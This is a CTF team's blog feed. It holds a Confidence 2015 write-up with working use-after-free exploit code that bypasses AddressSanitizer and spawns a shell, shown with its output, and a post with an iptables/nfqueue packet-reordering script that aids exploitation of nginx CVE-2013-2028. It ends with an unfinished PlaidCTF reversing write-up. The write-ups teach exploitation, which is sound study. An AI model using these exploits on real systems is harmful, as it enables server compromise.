tag:blogger.com,1999:blog-80308567017152245822024-03-14T14:07:38.761+01:00int3pidsThe blog of the Spanish security group "int3pids". Our team participates in a large number of international CTF games and competitions (Defcon, Codegate, ...).urihttp://www.blogger.com/profile/16444680000725662261noreply@blogger.comBlogger13125tag:blogger.com,1999:blog-8030856701715224582.post-43708173298170288512015-04-30T22:36:00.000+02:002015-04-30T23:42:18.405+02:00Confidence 2015 Teaser: Quarantine Write-Up (pwn 500)<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
In this post we are going to describe two alternative solutions to the quarantine challenge from the Confidence 2015 Teaser organized by DragonSector. This was a very interesting challenge, and even though it took dreyer and me a <i>looong</i> time to solve it I really enjoyed working on it.<br />
<br />
Let's start with the challenge description:<br />
<blockquote class="tr_bq">
The developers of this service think they have found a way to automatically thwart all memory corruption attacks. Can you prove them wrong?<br />
<br />
The service is running at 134.213.135.43:10000.<br />
<br />
Files: <a href="https://github.com/ctfs/write-ups-2015/blob/master/confidence-ctf-teaser-2015/pwning/quarantine-500/vm.so">vm.so</a> <a href="https://github.com/ctfs/write-ups-2015/blob/master/confidence-ctf-teaser-2015/pwning/quarantine-500/quarantine">quarantine</a></blockquote>
<div style="box-sizing: border-box; text-align: left;">
<div style="text-align: left;">
<b>Disclaimer: </b>the exploit code below is far from elegant and can probably be greatly improved, but hey it's for a CTF and in those conditions whatever works is good enough ;-p</div>
<h2 style="text-align: left;">
Preliminary analysis</h2>
The <i>quarantine</i> file is the main binary, which uses the <i>vm.so</i> file to interpret brainfuck programs. When we load the binary into IDA, we see that it has been compiled with <i><a href="https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer">AddressSanitizer</a> </i>(or ASAN), which is what the challenge description refers to when it says <i>"a way to automatically thwart all memory corruption attacks."</i><br />
<br />
A quick check with <i>checksec</i> reveals the following:<br />
<pre>gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
gdb-peda$
</pre>
<br />
So we not only have to deal with ASAN, but we have a binary with full ASLR, NX and RELRO. This is gonna be fun :)<br />
<br />
Let's move on with the analysis. The main binary listens on a given port (passed as a parameter on the command line) and forks for each client. This means that ASLR is not such a big deal, since the addresses will remain constant for each client and we can reuse leaks from ASAN's error reporting for our exploit. <br />
<br />
When we connect to the service, it provides the following options:<br />
<span style="background-color: transparent; color: #777777; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px;"></span></div>
<pre class="brush:cpp">__________ .__ _____ __
\______ \____________ |__| _____/ ____\_ __ ____ | | __
| | _/\_ __ \__ \ | |/ \ __\ | \_/ ___\| |/ /
| | \ | | \// __ \| | | \ | | | /\ \___| <
|______ / |__| (____ /__|___| /__| |____/ \___ >__|_ \
\/ \/ \/ \/ \/
_____ .__ .__
/ \ _____ ____ | |__ |__| ____ ____
/ \ / \\__ \ _/ ___\| | \| |/ \_/ __ \
/ Y \/ __ \\ \___| Y \ | | \ ___/
\____|__ (____ /\___ >___| /__|___| /\___ >
\/ \/ \/ \/ \/ \/
Choose your option:
add: Adds a new virtual machine.
remove: Removes a virtual machine.
change: Changes the virtual machine program.
select: Selects a virtual machine to use.
run: Starts the execution of a virtual machine.
exit: Terminates the connection.
Option:
</pre>
<div style="background-color: white; box-sizing: border-box; color: #777777; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px;">
<br /></div>
<div>
Since the developers of this system think they do not need to care about memory corruption due to the use of ASAN, the code is full of bugs.</div>
<div>
<br /></div>
Additionally, if we look at the main command handler in the binary we find a hidden give_me_the_flag command. The function handling this command opens the flag.txt file, reads it into a global buffer and outputs it using <i>printf</i>.<br />
<div>
<br /></div>
<div>
Unfortunately, when entering this command we overflow a stack buffer and get detected by ASAN. So it seems we'll need to do some more work than this ;)</div>
<h2 style="text-align: left;">
Reverse engineering the main binary</h2>
<div>
When analyzing the code in the main binary, we find that the program keeps a linked list of VMs. The linked list starts at the first_vm global symbol, and VMs are always added at the front of the list.<br />
<br />
When a vm is selected, the current_vm symbol is set to point to it. When run is executed, the selected VM is executed as you can see in this code:</div>
<div>
<br /></div>
<pre class="brush:cpp">__int64 __cdecl run()
{
__int64 v0; // rdx@0
__int64 v1; // rcx@0
const char *v2; // rsi@0
__int64 v3; // r8@0
unsigned __int64 v4; // r9@0
__int64 result; // rax@2
char v6; // [sp+0h] [bp-10h]@0
if ( globals::current_vm[0] )
LODWORD(result) = vm::run(globals::current_vm[0]);
else
LODWORD(result) = printf(
"No machine selected for execution. Please use the \"select\" command first.\n");
return result;
}
</pre>
<div style="text-align: left;">
When a VM is removed, the code goes through the list of VMs until it finds the right VM and frees it. However, if the VM is not the first_vm the code forgets to check whether current_vm points to it or not.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Therefore, if we select a VM (other than first_vm, i.e. the last added VM) and then remove it, we get a dangling pointer as the current_vm. If we manage to reallocate this memory, we would have a VM structure totally under control.</div>
<div style="text-align: left;">
<br /></div>
<h2 style="text-align: left;">
Reverse engineering the VM structure</h2>
<div style="text-align: left;">
Before we move on, we also need to understand the data structure used to keep track of the VMs and how they are used. We can do that by looking at the code initializing VMs in the main binary or by looking at the vm.so code. I found it easier to look at the vm.so code since it is not so cluttered with ASAN's stuff.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
The data structure used to represent a VM looks like this (as defined in my IDA database):</div>
<div style="text-align: left;">
<br /></div>
<pre>00000000 bfvm struc ; (sizeof=0x38)
00000000 array dq ? ; XREF: vm::run(vm::VMState *)+1D0 r
00000000 ; vm::run(vm::VMState *)+1FD r ...
00000008 arraysz dd ?
0000000C field_C dd ?
00000010 program dq ?
00000018 progamsz dd ?
0000001C idx dd ? ; XREF: vm::run(vm::VMState *)+1C7 r
0000001C ; vm::run(vm::VMState *)+1F4 r ...
00000020 field_20 dd ?
00000024 field_24 dd ?
00000028 name db 16 dup(?)
00000038 bfvm ends
</pre>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
When the vm::run method is called, first vm::reset_state is called on the VM. This is what this method does:</div>
<div style="text-align: left;">
<br /></div>
<pre class="brush: cpp;">__int64 __fastcall vm::reset_state(struct bfvm *a1)
{
__int64 result; // rax@2
unsigned int i; // [sp+0h] [bp-Ch]@1
a1->idx = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a1->arraysz )
break;
*(_BYTE *)(a1->array + i) = 0;
}
return result;
}
</pre>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Thus, it takes the array pointer and zeroes it out. Next, it enters a loop of processing instructions. A bounds check of the array pointer is performed, and if it fails an error is printed, the VM is reset and the program exits. If the array pointer is within bounds, the code parses the command at the current program counter and executes it.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Note that if a loop is found ([ or ]), the code also performs a search for the matching bracket and prints an error if it cannot find it. These error prints are performed using <i>printf</i>, which will become important in our solution later on ;-).</div>
<div style="text-align: left;">
<br /></div>
<h2 style="text-align: left;">
ASAN and Use-After-Free conditions</h2>
<div>
So now we have an idea of what our dangling pointer will be used for: to zero out a piece of data, run a brainfuck program using this data as the brainfuck VM memory, and finally zero it out again before returning.</div>
<div>
<br /></div>
<div>
Now we need to figure out how to exploit a Use-After-Free in presence of ASAN. During the CTF, we had no idea on how ASAN worked internally, so we started looking around in Google. One of the key resources was <a href="http://scarybeastsecurity.blogspot.nl/2014/09/using-asan-as-protection.html">this post</a> from Scarybeast.</div>
<div>
<br /></div>
<div>
In this post, a C program is provided that will trigger a use-after-free without ASAN noticing it. The code is based on allocating and freeing a lot of memory in order to achieve a reallocation of the freed chunk.</div>
<br /></div>
<div>
We used this code as a basis, and made some experiments on our test machine. Here is the relevant code fragment:<br />
<br />
<br /></div>
<pre class="brush:python" lang="python">for i in xrange(40):
add("vm%d" % i, 56, "A"*50, 56)
select(20)
remove(20)
for i in xrange(i+1, i+loop):
print i
add("vm%d" % i, 128, "A"*100, 0x400000)
remove(40)
for i in xrange(i+1, i+loop):
print i
add("vm%d" % i, 56, "A"*56, 0x400000)
</pre>
After some experiments, we figured that our local machine with the default configuration required a value of 300 for the loop variable in order to trigger the re-allocation of the removed VM. For the remote machine a value of 60 worked well during the CTF. When run with ASAN_OPTIONS=quarantine_size=16777216 on my local machine, the binary behaves similarly to the remote server. So if you want to test the exploits below, you can use these settings.<br />
<br />
The way the ASAN UaF detection system works is based on introducing a quarantine zone where freed chunks are kept for a while. The quarantine zone is only freed after a certain amount of memory has been placed into it (similar to Microsoft's <a href="http://blog.trendmicro.com/trendlabs-security-intelligence/mitigating-uaf-exploits-with-delay-free-for-internet-explorer/" target="_blank">delayed free</a> in Internet Explorer). The hope is that with this approach, use-after-free conditions will be easily caught during fuzzing/testing since it is unlikely that so much memory is freed and reallocated before the reuse of the dangling pointer.<br />
<br />
Anyway, with the above code (in particular with the freeing of big amounts of data) we managed to evict the target chunk from the quarantine and get it allocated again. So now it's time to move on and exploit this bug!<br />
<br />
<h2 style="text-align: left;">
Solution 1: getting a shell</h2>
<div>
So let's first discuss our own solution, and then discuss the intended challenge solution. Our own solution was to use the UaF to get overwrite some arbitrary memory and get a shell.</div>
<div>
<br /></div>
<div>
The binary uses RELRO, so we cannot target the GOT. However, ASAN places some hooks in functions such as printf, scanf, etc. as you can see here:</div>
<div>
<br /></div>
<pre lang="cpp" class="brush: cpp;">int __fastcall printf(__sanitizer::StackTrace *this, const char *a2, __int64 a3, __int64 a4, __int64 a5, unsigned __int64 a6, char a7)
{
int (__fastcall *v7)(_QWORD, _QWORD); // rcx@6
int (__fastcall *v8)(_QWORD, _QWORD); // rax@7
char v10; // [sp+0h] [bp-108h]@1
const char *v11; // [sp+8h] [bp-100h]@1
__int64 v12; // [sp+10h] [bp-F8h]@1
__int64 v13; // [sp+18h] [bp-F0h]@1
__int64 v14; // [sp+20h] [bp-E8h]@1
unsigned __int64 v15; // [sp+28h] [bp-E0h]@1
__int128 v16; // [sp+B0h] [bp-58h]@1
char *v17; // [sp+C0h] [bp-48h]@1
__int128 v18; // [sp+D0h] [bp-38h]@4
char *v19; // [sp+E0h] [bp-28h]@4
v15 = a6;
v14 = a5;
v13 = a4;
v12 = a3;
v11 = a2;
v17 = &v10;
*((_QWORD *)&v16 + 1) = &a7;
*(_QWORD *)&v16 = 206158430216LL;
if ( !__asan::asan_init_is_running )
{
if ( __asan::asan_inited
|| (__asan::AsanInitFromRtl(this, (signed __int64)&__asan::asan_init_is_running, a2, a6),
!__asan::asan_init_is_running) )
{
if ( !__asan::asan_inited )
__asan::AsanInitFromRtl(this, (signed __int64)&v18, a2, a6);
v19 = v17;
v18 = v16;
if ( __sanitizer::common_flags_dont_use[56] )
{
a2 = (const char *)&v18;
sub_46F70(this, (unsigned __int64)&v18, (const char *)&v18);
}
}
}
v7 = *(int (__fastcall **)(_QWORD, _QWORD))__interception::<b>real_vprintf</b>;
if ( __sanitizer::indirect_call_wrapper )
{
LODWORD(v8) = __sanitizer::indirect_call_wrapper(*(_QWORD *)__interception::real_vprintf, a2);
v7 = v8;
}
return <b>v7(this, &v16)</b>;
}
</pre>
So we targeted this call. Our strategy is create a fake VM structure that contains the following data:<br />
<br />
<ul style="text-align: left;">
<li>Array pointer: <i>quarantine+0x4FE328</i>, which is the address of the real_vprintf symbol above.</li>
<li>Array size: 8 bytes (the size of a pointer in x64)</li>
<li>Program: pointer to the heap, where we'll have prepared a brainfuck program</li>
</ul>
<div>
Then, the brainfuck program will perform a series of ", >" commands. This will read from standard input using getchar, write it over the target symbol and increment the data pointer. With this we can control the value of the real_vprintf hook.</div>
<div>
<br /></div>
<div>
The next step is actually triggering the call without exiting the VM. If we exit the VM, the data will be zeroed so we'll crash with a null pointer exception. </div>
<div>
<br /></div>
<div>
But since our VM interpreter calls printf on error conditions, we just need to trigger one! What we did was adding a bunch of [ at the end of the VM program, such that the loops were out of balance and printf would be called.</div>
<div>
<br /></div>
<div>
The final question is what to overwrite <i>real_vprintf</i> with. Our first attempt was to use the give_flag() address, since the code already reads the flag and prints it out. Unfortunately, it does so via printf and this results in an infinite recursion... so we turned into executing a shell.</div>
<div>
<br /></div>
<div>
For this, we use the following gadget:<br />
<br /></div>
<pre class="brush: cpp;">.text:000000000004652C mov rax, cs:environ_ptr_0
.text:0000000000046533 lea rdi, aBinSh ; "/bin/sh"
.text:000000000004653A lea rsi, [rsp+180h+var_150]
.text:000000000004653F mov cs:dword_3C06C0, 0
.text:0000000000046549 mov cs:dword_3C06D0, 0
.text:0000000000046553 mov rdx, [rax]
.text:0000000000046556 call execve
</pre>
<div>
<br />
So in the end our exploit code looks like this (see complete exploit <a href="http://www.limited-entropy.com/stuff/conf2015teaser/quarantine_exp1.py">here</a>):<br />
<br /></div>
<pre lang="python" class="brush: python;">print "[*] Performing initial allocations"
# First allocate a few VMs
for i in xrange(40):
add("vm%d" % i, 56, "A", 56)
# Select and free one of them
print "[*] Creating UAF condition"
select(20)
remove(20)
# Put lots of memory into the quarantine
print "[*] Freeing enough memory..."
for i in xrange(i+1, i+loop):
add("vm%d" % i, 128, "A"*100, 0x400000)
remove(40)
print "[*] Reallocating memory"
for i in xrange(i+1, i+loop):
add("vm%d" % i, 56, p64(printf)+p32(8)+"XXXX" + p64(heap)+ p32(30) +",,,,,,,>,>,>,>,>,>,>,>,>,[[[[[", 0x400000)
print "[*] Triggering shell! "
# # Exit for my own libc
runsend("A"+p64(target)+"A"*20)
x.send("echo w00t;\n")
x.readuntil("w00t\n")
print "[*] Everything ok! Dropping into shell."
x.send("id\n")
x.interactive()
</pre>
<div>
Which gives the following output when we run it on my test machine: </div>
<pre>sfx@ubuntu:/mnt/hgfs/conf2015q/quarantine$ python client.py
[+] Opening connection to localhost on port 1234: Done
[*] Performing initial allocations
[*] Creating UAF condition
[*] Freeing enough memory...
[*] Reallocating memory
[*] Triggering shell!
[*] Everything ok! Dropping into shell.
[*] Switching to interactive mode
uid=1000(sfx) gid=1000(sfx) groups=1000(sfx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),124(sambashare)
$ uname -a
Linux ubuntu 3.16.0-31-generic #43-Ubuntu SMP Tue Mar 10 17:37:36 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
$ cat flag.txt
THISISTHEFLAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$
</pre>
<div>Which during the CTF resulted in the following flag: </div>
<pre>
[*] Switching to interactive mode
$ cat flag.txt
DrgnS{5h0uldve_us3d_Sophos_Qu4rantine!}
$
</pre>
<h2 style="text-align: left;">
Solution 2: zero-out shadow memory</h2>
<div>
It turns out the intended solution was actually slightly easier than our solution. ASAN works by keeping a shadow memory region in which it keeps track of the state of different memory areas. When it finds a problem, it reports where the fault originated and what the associated shadow region is.</div>
<div>
<br /></div>
<div>
For example, if we try to run the give_me_the_flag command we get this:</div>
<pre>Option: give_me_the_flag
=================================================================
==115178==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffcb44e248 at pc 0x7f2cc53068f6 bp 0x7fffcb44e0c0 sp 0x7fffcb44d858
WRITE of size 17 at 0x7fffcb44e248 thread T0
#0 0x7f2cc53068f5 (/mnt/hgfs/conf2015q/quarantine/quarantine+0x458f5)
#1 0x7f2cc53076b0 (/mnt/hgfs/conf2015q/quarantine/quarantine+0x466b0)
#2 0x7f2cc5380493 (/mnt/hgfs/conf2015q/quarantine/quarantine+0xbf493)
#3 0x7f2cc537dd34 (/mnt/hgfs/conf2015q/quarantine/quarantine+0xbcd34)
#4 0x7f2cc3ca0ec4 (libc.so.6+0x21ec4)
#5 0x7f2cc537c0bc (/mnt/hgfs/conf2015q/quarantine/quarantine+0xbb0bc)
Address 0x7fffcb44e248 is located in stack of thread T0 at offset 40 in frame
#0 0x7f2cc53803bf (/mnt/hgfs/conf2015q/quarantine/quarantine+0xbf3bf)
This frame has 1 object(s):
[32, 40) 'op' <== Memory access at offset 40 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
0x100079681bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100079681c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100079681c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100079681c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100079681c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100079681c40: 00 00 00 00 f1 f1 f1 f1 00[f3]f3 f3 00 00 00 00
0x100079681c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100079681c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100079681c70: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 04 f2 04 f2
0x100079681c80: 00 f2 f2 f2 04 f2 00 00 f2 f2 04 f2 04 f2 04 f3
0x100079681c90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
ASan internal: fe
</pre>
<div>
This tells us that if we zero out the bytes starting at 0x100079681c49 (shadow1 in my exploit) we should not trigger this detection and we should be able to call this command. As we know, we can do that by pointing the array space of the fake VM structure to this address and then running the VM.<br />
<br />
However, if we do this we get another error:<br />
<br /></div>
<pre>0x7f2cc61dcff0 is located 0 bytes to the right of global variable 'globals::flag_buffer' defined in 'challenge.cc:27:6' (0x7f2cc61dcfe0) of size 16
SUMMARY: AddressSanitizer: global-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
0x0fe618c339a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe618c339b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe618c339c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe618c339d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe618c339e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9
=>0x0fe618c339f0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 00[f9]f9
0x0fe618c33a00: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe618c33a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe618c33a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe618c33a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe618c33a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
</pre>
<div>
Which means we actually need to trigger a zero-out again on a second shadow memory region (shadow2), because the flag was too large to fit in the global buffer that was used to read it! Fortunately we can change our VM program by using the <i>change</i> command. We can change the most recent N VMs that we added and then try to run again. After this, we are able to issue the give_me_the_flag command and get the flag :)
</div>
<div>
<br />
This is the final code to do so on my local test machine (full exploit <a href="http://www.limited-entropy.com/stuff/conf2015teaser/quarantine_exp2.py">here</a>):<br />
<br />
<br /></div>
<pre lang="python" class="brush: python;">print "[*] Performing initial allocations"
# First allocate a few VMs
for i in xrange(40):
add("vm%d" % i, 56, "A", 56)
# Select and free one of them
print "[*] Creating UAF condition"
select(20)
remove(20)
# Put lots of memory into the quarantine
print "[*] Freeing enough memory..."
for i in xrange(i+1, i+loop):
add("vm%d" % i, 128, "A"*100, 0x400000)
remove(40)
print "[*] Reallocating memory"
# And reallocate it
for i in xrange(i+1, i+loop2):
add("vm%d" % i, 56, p64(shadow1)+p32(16)+("%.4x" % i) + p64(heap)+ p32(30) +"+", 0x400000)
print "[*] Zeroing shadow memory for stack buffer"
# Zero out shadow1
run()
print "[*] Replacing program "
# Now replace the fake VM struct to zero out shadow2
for i in xrange(20):
change(i, p64(shadow2)+p32(20)+"XXXX" + p64(heap)+ p32(1) +"+")
print "[*] Zeroing shadow memory for global buffer"
# And actually do it
run()
# And now just send give_me_the_flag
x.write("\n")
x.write("give_me_the_flag\n")
x.readuntil("Your flag is:")
print "[*] YOUR FLAG: " , x.readuntil("\n")
</pre>
</div>
<div>
And when we run it: </div>
<pre>sfx@ubuntu:/mnt/hgfs/conf2015q/quarantine$ python exp2.py
[+] Opening connection to localhost on port 1234: Done
[*] Performing initial allocations
[*] Creating UAF condition
[*] Freeing enough memory...
[*] Reallocating memory
[*] Zeroing shadow memory for stack buffer
[*] Replacing program
[*] Zeroing shadow memory for global buffer
[*] YOUR FLAG: THISISTHEFLAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Closed connection to localhost port 1234
</pre>
</div>Eloi Sanfelixhttp://www.blogger.com/profile/13366053563949767664noreply@blogger.com2tag:blogger.com,1999:blog-8030856701715224582.post-8425993589627463352013-07-24T17:12:00.000+02:002013-07-24T17:20:37.965+02:00Nginx reliable explotation through the internet (CVE-2013-2028)
This vulnerability was published recently (<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2028">CVE-2013-2028</a>) and it seems that many exploiters got stuck because the socket will not block because the buffer is longer than the standard ethernet MTU, some others have found another attack vector without that problem.<br />
<br />
Let me to explain how we have achieved to overcome the non-blocking socket impediment without doing so much:<br />
<br />
When packets arriving at the TCP layer are analyzed and once determined the sequence are immediately delivered to the upper layer of the OSI model.<br />
<br />
Let's imagine that you want to overflow a big buffer through the network. Normally you would execute something like:<br />
<br />
send(sock, "AAAAA….A",…);<br />
<br />
If the size of the data is bigger than the MTU, is then splitted into multiple packages. The destination processes the information on many smaller packages instead of one. In summary,a single read()/recv() doesn't get all the data it asked for and the overflow will not happen.<br />
<br />
And that's what's happening on ngingx.<br />
<br />
What we have done to prevent that packets are delivered directly to the next layer is taking profit of TCP windows and TCP reorder: sending the first data packet on the last place.<br />
<br />
What happens is that the TCP stack will not deliver the packets to the next layer because the information is not complete, and just wait until all information (up to the size of the tcp window) is received to deliver it.<br />
<br />
Then the application layer will get all the information in _the same_ read and the overflow will happen.
<br />
<br />
Using that TCP trick, the size limitation of the overflow is the TCP window size instead the MTU.<br />
<br />
One easy and **dirty** way to implement this is using iptables and nfqueue, but there are some better ones:<br />
<br />
# iptables -A OUTPUT -p tcp -d ip --destination-port port -j NFQUEUE </port></ip><br />
<ip><port># python nfq.py </port></ip><br />
<ip><port><br /></port></ip>
<pre class="brush:python" lang="python">import nfqueue
import socket
import time
data_count = 0
def cb(dummy, payload): #in some implementations the callback only has one parameter, remove the dummy in that case
global data_count
global delayed
data = payload.get_data()
# DIRTY check for first data packet (not three-way-handshake)
if len(data) > 60:
data_count += 1
if (data_count == 1):
print data
# Just DROP the packet and the local TCP stack will send it again because won't get the ACK.
payload.set_verdict(nfqueue.NF_DROP)
else:
data_count = 0
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(cb)
q.create_queue(0)
try:
q.try_run()
except KeyboardInterrupt:
print "Exiting..."
q.unbind(socket.AF_INET)
q.close()
</pre>
<pre>
Albert Puigsech Galicia
+ Mail: albert@puigsech.com
+ Jabber: albert@puigsech.com
+ Twitter: @apuigsech
</pre>dreyercitohttp://www.blogger.com/profile/08138319452719124798noreply@blogger.com0tag:blogger.com,1999:blog-8030856701715224582.post-80855435677549587762013-04-27T11:10:00.001+02:002013-04-27T11:10:44.048+02:00PlaidCTF 2013 - kavihk (binary 400) write-up<p>Here is another PlaidCTF write-up, in this case for a challenge that we didn't solve but had almost finished by the time the CTF ended (except for a couple (mostly stupid) things I'll mention later on). In this case it was <a href="http://play.plaidctf.com/files/kavihk.tgz-27158df97cab0e6c316db12947c3cef8d9e8ad5f">kavihk</a>, which was a binary worth 400 points. In the archive we can see both the kavihk binary and the source code it is based on, avih. </p>
<p>Avih "is a roguelike game whose source code fits in exactly 1024 bytes". So as you can imagine, the C code itself looks awful... everything in one line, abusing macro's, etc. </p>
<p> Luckily for us, there is a file named 'avih-commented.c' in the archive, that breaks the code down into pieces that we can more easily digest. Just for giving you a taste of it (you can see the whole thing in the archive), this is what the portion that draws the screen looks like: </p>
<pre lang="c" class="brush:c">
/* draw screen */
D(
/* determine tile colour */
b=1;while(G^k[b++]&&b<8);
/* check for visibility */
F(c,u)d[f+(x-f)*c/u][g+(y-g)*c/u]-35||(b=z[x][y]<L?1:5);
/* memory */
b>6&&G<64&&(z[x][y]=L);
/* draw */
mvaddch(y,x,G|b*K)
)
</pre>
<p>The code is using ncurses, and presents the user with a mesh filled with monsters, gold, talismans, etc. Now, looking at the binary the first thing we notice is that when the game finishes the following code (I'll call it 'youwin') is executed: </p>
<pre lang="c" class="brush:c">
int __cdecl sub_8049581()
{
int result; // eax@12
char dest; // [sp+2Fh] [bp-9h]@2
while ( (unsigned int)dword_804CB14 <= 0x1D )
{
if ( sub_804A1A5((int)&unk_80549C0, 0, 0, &dest, 8) )
exit(1);
byte_804CAD0[dword_804CB14] ^= dest;
++dword_804CB14;
}
if ( byte_804CAD5 != '_'
|| byte_804CADB != '_'
|| byte_804CADE != '_'
|| byte_804CAE2 != '_'
|| byte_804CAE7 != '_'
|| byte_804CAED )
result = (int)"WIN ...but no flag for you.";
else
result = (int)byte_804CAD0;
return result;
}
</pre>
<p> So it seems the buffer at 0x0804CAD0 is actually our (30 bytes long) flag, but it is XORed with something that comes out of the function at 0x0804A1A5. The flag contains a few underscores and ends in a null byte, and this format is used to sanity check the result of the XOR before printing it. If the sanity check doesn't pass, then we are told we won the game, but there is no flag for us :(.</p>
<p>Based on these observations, patching the game to win it won't work. We'll need to reverse further and understand how the XOR key is generated. For this, I tracked cross-references to 'unk_0x80549C0' and found that only three functions use it: the main function, a function that's called in main during initialization, and the function that checks the flag.</p>
<p>I renamed this variable as 'state' so I could easily follow it later on in my idb, and looked at main and compared it to the code we are given: </p>
<pre lang="c" class="brush:c">
int __cdecl main()
{
char v0; // dl@18
signed int v1; // eax@23
int v2; // eax@36
bool v3; // edx@43
bool v4; // eax@46
if ( sub_804A134(&state, 34, 1566) )
exit(1);
initscr();
raw();
start_color();
for ( *(_DWORD *)&dword_805C958 = 0; *(_DWORD *)&dword_805C958 <= 7; ++*(_DWORD *)&dword_805C958 )
init_pair(dword_805C958 + 1, dword_805C958, 0);
uses_state(); //This function uses 'state' internally
while ( *(_DWORD *)&dword_805C958 != 27 ) {
/* ... */
}
</pre>
<p> The first function seems to be some initialization, as diving into it shows that it initializes some tables and so on... maybe some cryptographic function? In any case, this is what the function looks like:</p>
<pre lang="c" class="brush:c">
signed int __cdecl sub_804A134(void *s, unsigned int a2, int a3)
{
signed int result; // eax@2
if ( a2 + a3 == 1600 )
{
if ( a2 && a2 <= 1600 )
{
sub_804B397();
*((_DWORD *)s + 50) = a2;
*((_DWORD *)s + 51) = a3;
*((_DWORD *)s + 52) = a2 - 2;
sub_804B4D9(s);
result = 0;
}
else
{
result = 1;
}
}
else
{
result = 1;
}
return result;
}
</pre>
<p> I dove into the other two sub-functions, and saw they were initializing some global arrays... but I didn't really attempt to understand them yet. I wanted to get a bigger picture of what is going on before diving into the details. So I called this function 'init_state', noted the 1600 magic (together with the 34 and 1566 passed into it) and went on to the next function.</p>
<p>Now, this function is much bigger, but we see that it passes the state into 'sub_804A1A5' (remember, this is the same function that generated our XOR key) and uses an output from it as a random seed: </p>
<pre lang="c" class="brush: c">
int __cdecl uses_state()
{
bool v0; // eax@19
bool v1; // eax@23
signed int v2; // ebx@36
int result; // eax@37
int dest; // [sp+3Ch] [bp-Ch]@7
if ( sub_804A1A5((int)&state, &dword_80549B0, 32, 0, 0) )
exit(1);
if ( sub_804A1A5((int)&state, &dword_804CABC, 32, 0, 0) )
exit(1);
if ( sub_804A1A5((int)&state, &dword_8054AA8, 32, 0, 0) )
exit(1);
if ( sub_804A1A5((int)&state, 0, 0, &dest, 32) )
exit(1);
srand(dest);
/* ... */
</pre>
<p>At this point I first followed the actual game logic and compared all variables with the commented avih source code we were given. This allowed me to find out that the values passed to sub_804A1A5 actually contain the current level, the maximum health points our character can have at this moment, and the amount of gold collected so far. </p>
<p> This seems to indicate that we'll have to 'play' one specific game (i.e. collecting the right amount of gold, right amount of talismans at each level) so we can get the key. Before I went on with that, I first wanted to understand what it was that it was using for generating the XOR key... so I dove into sub_804A1A5, which I now call do_sha3. </p>
<p> Going in, after a couple levels of calls, you see this: </p>
<pre lang="c" class="brush: c">
int __cdecl sub_804A6CB(int a1)
{
char v2; // [sp+18h] [bp-D0h]@1
sub_80489B5(1, "Input of permutation", a1);
sub_804A51C(&v2, a1);
sub_804A795(&v2);
sub_804A603(a1, &v2);
return sub_80489B5(1, "State after permutation", a1);
}
</pre>
<p>Additionally, if you dive into the second call (sub_804A795) you see this code: </p>
<pre lang="c" class="brush: c">
int __cdecl sub_804A795(int a1)
{
int result; // eax@1
unsigned int i; // [sp+1Ch] [bp-Ch]@1
result = sub_80489DE(3, "Same, with lanes as pairs of 32-bit words (bit interleaving)", a1);
for ( i = 0; i <= 0x17; ++i )
{
sub_8048BBE(3, i);
sub_804A94D(a1);
sub_80489DE(3, "After theta", a1);
sub_804ABE9(a1);
sub_80489DE(3, "After rho", a1);
sub_804AD90(a1);
